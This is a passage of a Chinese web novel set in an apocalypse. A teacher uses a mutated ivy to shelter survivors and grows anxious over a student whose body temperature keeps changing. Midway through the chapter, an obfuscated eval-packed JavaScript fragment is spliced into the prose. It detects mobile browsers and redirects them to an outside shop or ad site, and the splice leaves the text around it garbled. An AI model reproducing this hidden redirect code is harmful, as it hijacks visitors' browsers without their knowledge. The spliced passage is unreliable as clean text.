三人走了一段路后,郑杰越来越发现不对劲,小声说了句:“奇怪,那些怪物一直盯着我们,但是,好像不敢靠近?” 温倦充耳未闻,并不作答。 其实不是不敢靠近,是在等待时机。 变异生物对温倦的态度是微妙的。 首先,它们当然都很希望从他这得到一些能量,但它们有危机意识,并且也能感受到同类间的敌意。 如果这时候有一只变异生物冲过来袭击温倦,那么其他的变异生物,绝对不会帮它,而是会杀了它。 虎视眈眈的猎人太多,而美味的食物只有一份。谁想吃独食就是众矢之的。 最重要的是,温倦的能量需要主动释放,否则这些怪物就算把他生吞活剥,也分不到半杯羹。 在它们眼里,温倦现 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郑杰虽然有所猜测,但真的听到他说出来,还是大为震惊,好几次都忍不住想要问温倦,你究竟是谁,怪物为什么不攻击你,你又为什么……救我们? 然而他眼睛瞥了好几次,到底没敢开口。怕温倦嫌弃他话多。 “同学,我把我战友安顿在这里,你能帮我照看一下吗?附近商场还有一只巡防队,他们带着一群学生躲在电影院里。我得把他们都带过来。” 郑杰其实一路上都在想那群学生,但因为乾明的伤势太过严重,他怕温倦一个人应付不了,才等到现在开口。 温倦一时没有回答。 他其实之前就听到了这两个巡警的对话,知道情况。 但商场离学校的距离,已经超过了他对爬山虎的共感范围,如果他要去救那群学生和巡防队,那联盟大学里的所有人都会被爬山虎吃得渣都不剩。 温倦摩挲了一下手指,指腹上还有不久前,给爬山虎喂血时留下的伤口。还没愈合,稍稍拉扯,血珠又挤了出来。 他在想,自己现在状态好像还可以,要不要再给爬山虎喂点能量? 可是爬山虎的力量似乎已经到了极限,喝再多血都不一定能继续生长…… 那要放弃商场的人吗? “同学?”郑杰看他一直没说话,以为他懒得搭理自己,悻悻道,“抱歉,我好像太自以为是了,你有自己的事要忙,应该没工夫照看乾明……那我就把他放在这里好了,这小子命大,不会有事。” 温倦仍没应答。 郑杰也不打扰他,自顾自地便要回商场去救人。 他当然知道,没有温倦在,那些怪物可不会对他手下留情。 这一去凶多吉少,他大概是回不来。 忽然,郑杰鬼使神差地回头看向温倦:“我是首都安全巡防队二队成员,郑杰。能不能冒昧请问,你叫什么名字?” 好像死前问清楚人家名字,下辈子就能再见一面似的。 多么荒谬而无意义的事,但他还是这么干了。 蠢得要死。 温倦不至于吝啬到不肯做自我介绍,只是,他刚要开口,另一道声音就这么不巧地打断了他。 “哥,你终于回来了。” 陆亦哉不知从哪儿跑了出来,他上衣的白T已经溅满了血,看起来触目惊心。 想来,温倦不在的这段时间,他也并没有闲着,在学校里解救之前那些受伤的同学,估计也不轻松。 温倦没有去挑剔他突然叫“哥”的行为,看到陆亦哉手上血红一片,有些心惊,走过去抓起陆亦哉的手查看:“怎么受伤了?” 他脸上关切担忧的表情太明显,和之前在郑杰他们面前的云淡风轻截然不同。 郑杰的脸色悄然一怔,随即,心口泛起只有他自己知道的隐秘的不甘。 但陆亦哉却是个对谁都很热情的好孩子,他先是对温倦解释,说这不是自己的血,是救人的时候不小心沾上的。 然后,就对着身着巡警制服郑杰打了个招呼:“是巡警叔叔啊,太好了,我就知道联盟的战士一定可以在灾难中活下来。你们比普通人强大,也比普通人意志坚强,一定会勇敢地和怪物战斗到最后。就是因为有你们巡防队的拼死保护,人类才有战胜怪物的希望呢。” 字字恳切,眼神崇拜。 然而每一句话都戳在郑杰心窝子上。 强大?坚强?勇敢?和怪物战斗? 统统没有。 郑杰不愿面对这件事,只好强行转移话题,说:“我现在去商场,看看怎么把那群学生也带过来。” 温倦看他要走,知道郑杰去了也没意义,便想要拦。结果手被陆亦哉牵住。 他拧着眉看向陆亦哉,陆亦哉却只是笑对他摇了摇头。 温倦不懂他,但又莫名的对陆亦哉很信任。于是忍住了没有挣脱。 在郑杰几乎快要走出爬山虎的覆盖范围时,陆亦哉才故作刚想起来一样,开口叫住了他: “巡警叔叔,你是要去找商场里的其他巡警和同学吗?他们已经在学校里了。” 这下不止郑杰,连温倦也很惊讶。 “你确定吗?!”郑杰激动得险些失态,冲过去抓住陆亦哉,“他们在哪里?带我去看看!” 陆亦哉被他抓着肩膀,好似吃痛,皱着眉毛轻声嘶了一下。 温倦立刻不满,一巴掌拍开郑杰的手,训斥:“你吓他干什么,又不是不带你去看,手上不知道轻重吗?” 陆亦哉委委屈屈地靠在温倦身边。 郑杰尴尬地道了个歉:“对不起对不起,是我太激动了。真的很抱歉。” 同时,他自己也感到很困惑。 他力气确实是不小,但刚才抓住陆亦哉的手臂时,那结结实实的肱二头肌紧绷得不行,哪里像是碰一下就疼的样子? 郑杰感慨,果然人不可貌相。 这年头的年轻人,健身练出来的肌肉都是虚的。 - 16.第 16 章 原本关闭的图书馆,现在由爬山虎完全占领,温倦他们走近,繁密的叶片自觉分开一道入口。 郑杰看见了里面的一群人,果然就是原本留在商场里的巡防队和一群学生。 他立刻激动地背着乾明跑了进去:“——小陈,文哥,老刘!” 里面的人闻声也抬起头来,看到郑杰,他们的反应也很兴奋:“阿杰!太好了,你还活着……乾明?!他怎么了?” “乾明失血过多,我们得先办法找到学校的医务室,看看有没有东西帮他处理一下伤口,希望不要感染。” “不用去医务室,这里就有急救箱。是刚才那个小兄弟给我们的。”他说的是陆亦哉。 劫后余生的几人聚在一起,没有过多的感怀,他们互相看了一眼,一同起身,找了个离学生们稍微有点距离的角落。 郑杰小心翼翼地放下乾明,其他几人一起帮着处理断臂的伤,顺便开始交换信息。 郑杰问道:“文哥,你们是怎么过来的?商场离这里有一段距离,你们怎么比我还快?” “说起这个……”被叫做文哥的人露出了为难的表情,“其实,我也不知道怎么说。” 郑杰不解:“发生什么事了?” 旁边的小陈接过话去:“不,什么都没发生。我们只是一眨眼,就忽然从商场到了这个图书馆。” 郑杰听得大为震惊:“这怎么可能?!” “是啊,我们觉得不可能啊!” “其实一开始我还以为自己死了,这一切都是死前的幻想,后来陆同学给我们带了急救箱,还有一些吃的,又跟我们聊了好一会儿,我才确定,是真的得救了。” 郑杰越听越困惑:“陆同学是谁?他知道什么吗?” “他也不知道啊。”小陈说,“我们这群人是突然出现在图书馆的,陆同学说自己也吓了一跳呢,但是看到我们穿着巡警制服,所以才敢靠近——哦,就是那个把你带过来的同学。” 郑杰蹙着眉:“这事儿太奇怪了。” “都这个时候了,发生什么我都觉得不奇怪。”稍微年长些的老刘开了口,颇有点一锤定音的意思,“你看,你和乾明不就是很好的例子?你们从怪物堆里活着走出来了,这事儿放在以前,敢想吗?” 郑杰不太认同他的话,因为他知道,他和乾明能活下来,不是好运,也不是灵异事件。而是靠温倦帮忙。 但仔细想想,温倦的出现也是不合常理的。 怪物不会攻击温倦,甚至不敢靠近和温倦站在一起的他们。他身上充满了秘密。 所以老刘说的不无道理。在眼下这个节骨眼,无论发生什么事,似乎都已经没什么好惊讶的了。 “你真的没受伤?” 图书馆外,温倦正拉着陆亦哉仔细检查。 温倦总觉得,陆亦哉的样子看起来不像没事。虽然他身上溅的血确实不是他自己的,但他的身体似乎又有失温的趋势。 陆亦哉一直说自己没事,但身子却悄悄发抖,他怕身上的血弄脏温倦,好几次想贴上来,又忍住了。 温倦看了他一眼,有些无奈,主动伸手抱着他:“很冷?” 陆亦哉乖乖点头。 温倦蹙眉,他担心会不会有别的变异生物伤了陆亦哉。 生物的变异方向不一定都是巨大化,有些小型飞虫——比如蚊子——它们变异后,体型和过去没有区别,但飞行速度快得惊人,杀伤力极强,一旦它们碰到敌人的身体,可以在一瞬间吸干对方的血。 还有其他的飞虫,变异后会释放致命的毒液。 它们都很危险,而且不易被人察觉到。 要是陆亦哉在不知道的时候受了伤,就很麻烦。 但温倦很快又否定了这种可能。 小型的变异飞虫,应该最怕爬山虎这种变异植物,轻易不敢靠近。就算飞进来,也很快就会被爬山虎的叶片拍死。 陆亦哉温顺地靠在他身上,少见的很沉默,身体颤抖但同时,额头却渗出细密冷汗,看着很是可怜。 温倦看得揪心,又不知道该怎么帮他。 “先找个地方去换身衣服。”温倦牵起他的手,往学生宿舍楼的方向走。 一路上,陆亦哉都没有怎么说话。 温倦难得成了主动找话题的人。 他问陆亦哉,刚才他出去的时候,学校里怎么样,陆亦哉都做了什么。 陆亦哉声音很轻,呼吸也有些滞涩,很缓慢地回答,说组织了同学在学校里搜救其他人。 温倦又问陆亦哉,有没有碰到除了爬山虎以外的变异生物。 陆亦哉摇头,说没有。然后又安静了。 他的体温越来越低,表情也有些空茫,往日的笑脸完全不复存在,唯独那双眼睛,一直死死盯着温倦,好像看不够似的,恨不得不眨眼。 温倦牵着他的手,心里感到有些不安。 今天对所有人来说,都是末日。 恐怕这世上除了温倦以外,没有人能够平静应对。 他不确定陆亦哉现在这样的异样,是不是也有受到惊吓的关系。 他希望陆亦哉只是情绪低落,而不是在他不知道的时候,受了什么无法治愈的伤。 宿舍楼里有不少幸存的学生,大多都聚在一起,报团取暖或是探讨这一场灾难,大家轮流用手机打电话,一刻不停,但通讯时断时连,一百次拨打出去只有一次成功接听。 温倦找他们借了一套衣服,给陆亦哉换上。 同学们都很热情,主动提供帮助。在这样的时刻,人与人之间的善意几乎是最后的支撑。更何况,他们当中大多数人,本来就是被陆亦哉和其他同学从地裂中救出来的。 “老师,外面怎么样了?我们……还能回家吗?” 面对这样的问题,温倦也不知道如何回答。 学校里的震感虽然停了,但不代表外面的一切都结束了。 爬山虎的保护只是暂时,他们不可能永远待在学校里不出去。但联盟的救援什么时候来,谁也不知道。 这场灾难一旦开始,以后究竟还有没有联盟政府都是未知。 安慰只是徒劳,温倦看着他们,有些心软,却又不得不说:“也许这只是开始,你们要做好准备。” 学生们沉浸在悲伤与恐惧的心情中,因此没有人注意到,他说的是“你们”。 在一片嘈杂吵闹中,温倦忽然想到了什么,他问了句:“你们,有没有人身体不舒服,比如,发烧,或者体温变化比较大。” 学生们面面相觑,互相摸了摸对方的额头,然后摇头:“没有,老师。” 温倦点了点头,便带着陆亦哉上楼,留那些学生们自己消化关于末日的一切。 他找了一间没有人的寝室,脱下陆亦哉被血沾湿的上衣,让他去洗手间里稍微冲洗一下。 陆亦哉站在原地,一直没动。 温倦以为他没听清,又重复说了一遍:“现在应该还有热水,你去洗个澡,顺便醒个神,等下我们聊聊。” 给疑似出现心理问题的学生做开导,也算是老师的职责。更何况,温倦曾经真的把陆亦哉当家人看。 他担心陆亦哉这个状态,撑不了几天,就会像那两个巡警一样,也生出干脆一了百了的心思。 陆朝之人在中心城,想必要比外面安全,如果能把陆亦哉也送进去,那即便是末日,活下去的概率也比常人大得多。 温倦希望能救下陆亦哉。 陆亦哉缓慢眨了眨眼,终于应了声:“嗯。” 然后拿着衣服进去洗澡。 温倦就站在阳台围栏处,远远看着这片黑沉沉的天空,心里开始不由自主地想起一些事情—— 所以那个楚尽风,并不是精神病。 虽然末日到来的时间和他说的不太一样,但毕竟还是来了。 他真的是穿书者。 那么,他说的一切,都是真的? 可是……如果这些都是真的,楚尽风没有撒谎,那不就意味着,温倦就是这本书里的,反派大boss了吗? 温倦忽然陷入了久久的发呆。 这简直危言耸听。 他根本无法理解自己怎么可能成为反派。他一直以来都是个遵纪守法的好公民,对人类虽然算不上亲近,但也从来没有起过害人的心思。 他怎么会变成反派呢? 温倦开始发散思维。 楚尽风说过,末日爆发之初,有一小部分人类,会因为一场高热而觉醒异能,但这些人同时也会引来变异生物的猎食。 他刚才问那群学生里有没有人发烧,也是想证明这件事。 温倦开始自我怀疑,会不会书里的他也觉醒了。 因为他,可能也许大概,不完全算是一个人,于是,他觉醒的不是异能,而是……变异了怪物? 这样就说得通了。 温倦如果变成了怪物,人类自然会怕他,把他当成坏蛋。就算温倦不想伤人,难道人类看见一个怪物会不害怕吗? 他越想越觉得极有可能,甚至还为自己的想象补充了很多细节——有没有可能他变异后干脆失去了理智,变成了一个只会杀戮和猎食的变异怪物? 通了,一切都通了。 这样听起来,他的确很像一个反派大boss。 就在温倦脑子乱成一团的时候,寝室的洗手间里忽然传来一阵碰撞声,随即是玻璃碎裂的声音。 陆亦哉沉重紊乱的呼吸,隔着门传进温倦耳朵里,听得他心头一紧。 他立刻跑了过去。 不要出事,千万不要出事。 温倦拉开门的时候不断在心里祈祷。 他由衷地希望,陆亦哉的一切异常,只是因为今天被地裂和变异生物吓到,现在在洗手间里发疯砸东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955118|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门隙开一道缝,里面的灯是关着的,光线晦暗,看不真切,温倦眉头越发紧蹙。 “怎么了?” 温倦挤进这个狭窄逼仄的小浴室。 他借着门缝里透过的一点光亮,抬头看陆亦哉,可是还没来得及看清什么,眼睛就被什么东西蒙上了。是陆亦哉冰凉的手。 “别看……” 陆亦哉从背后圈住温倦,即便这个姿势根本不可能被温倦看见,但他的手仍然覆在温倦眼上,“不要看我。” 门再次关上,这个只能容纳两个人的密闭空间只剩下全然的黑暗。 温倦默了两秒,终究没有推开,说:“你跟我说实话,你最近是不是受了伤?” 而且不是今天受的伤。 陆亦哉出现在别苑的时候,就已经很不对劲了。 当时他跟温倦说,被一条变异蛇咬了。但是温倦在给他做身体检查的时候,没有在他的手上找到任何像是被蛇咬到的伤口。 陆亦哉一定是受了更严重的伤,而且,他自己一定知道这个伤治不了,所以瞒着温倦。 “没有,我没有受伤。” 陆亦哉还是嘴硬,但温倦怎么可能信他。 “那你把手拿开。” “不要。” “陆亦哉,我不是在和你商量。”温倦严肃起来,“我可以接受你有自己的秘密,但前提是,你得有命活下来。” 陆亦哉久久没有说话,一副铁了心要和温倦对着干的样子。 “好,你如果实在不愿意说,那我就不问了。” 温倦忽然松口,但说出来的话却比凌迟更残忍,“不止现在,以后也一样,你是死是活我都不会再过问。松手,我要出去。” 他说得很果决,让人分不清他是在故意激陆亦哉,还是真的要把陆亦哉抛弃。 陆亦哉果然怕了,将他抱得更紧:“别走……” 温倦反手推了他一下:“要么把一切告诉我,要么滚。你自己选。” 温倦能够感受到陆亦哉在犹豫,覆在自己眼睛上的那只手在迟疑。 无声对峙了两分钟后,陆亦哉终究还是放开了他,自暴自弃地后退了半步,打开了浴室灯。 意料之中的结果。 温倦知道陆亦哉是个依赖性很强的小孩,平时他就很黏人,如今末日降临,他肯定会更害怕被温倦抛弃。 只要小小威胁两句,他就老实了。如此好拿捏。 温倦立刻转身,在明亮的光线下,他看清了陆亦哉的身体。 温倦动作迅速且仔细地把陆亦哉上上下下都检查了个遍,连嘴巴都掰开看了一眼舌头,但最终,却什么伤都没找到。 温倦无法理解:“你没受伤?” 陆亦哉似乎是想给温倦一个笑,只是这次却笑得没有过去灿烂。 他用很轻快的口吻回应温倦:“对啊,我真的没事。” “那你刚才躲什么呢?” 还捂住温倦的眼睛,一副害怕被他看见什么秘密的样子。 陆亦哉低头挠了挠耳朵,小声说:“啊……其实是因为想到自己没穿衣服,会被你看光,就有点害羞。” “你这家伙真是……” 温倦无语地叹了一声气,但下意识地重新打量了一眼陆亦哉的身材。 二十岁,说起来已经不是多么稚嫩的岁数了,只是因为温倦对陆亦哉的印象,还停留在小时候,加上陆亦哉在他面前总是表现得很幼稚,所以他才老把他当小孩。 如今看到坦诚相待的成年男性身体,温倦才后知后觉地感到一丝不自在。 尤其当视线扫过某个位置时,他目光稍稍瑟缩了一下。 “……算了,没事就好。” 温倦收回目光,硬着头皮伸手摸了摸陆亦哉的额头,意外地发现陆亦哉的体温好像又恢复正常了,他突然有了另一个想法。 “你体温变化异常,但又没有受伤,这会不会……是要觉醒异能的前兆?” 那个穿书者说,人类觉醒异能的前提是高热。陆亦哉显然不属于这种情况。 但楚尽风说得就一定正确吗? 他还说末日在半年后才会来,可还不是提前了? 所以温倦自己做出了判断,他对陆亦哉说:“陆亦哉,从现在开始你不能离我太远,听到了吗?” 异能者对变异生物来说就是美味可口的大餐,万一陆亦哉真是异能者,一旦离开温倦,就很危险。 陆亦哉目光清澈地看着他,乖巧点头:“好哦。” 两个人就这么相顾无言地站了会儿。 陆亦哉舔了舔干涩的唇,老实巴交地问了句:“老师,现在是要和我一起洗澡吗?” 温倦回过神来,不小心又看到一丝.不挂的陆亦哉,顿时被发育过良的画面吓到。 他木着脸,与陆亦哉错身,快步冲出了浴室,摔上门:“你自己洗。” -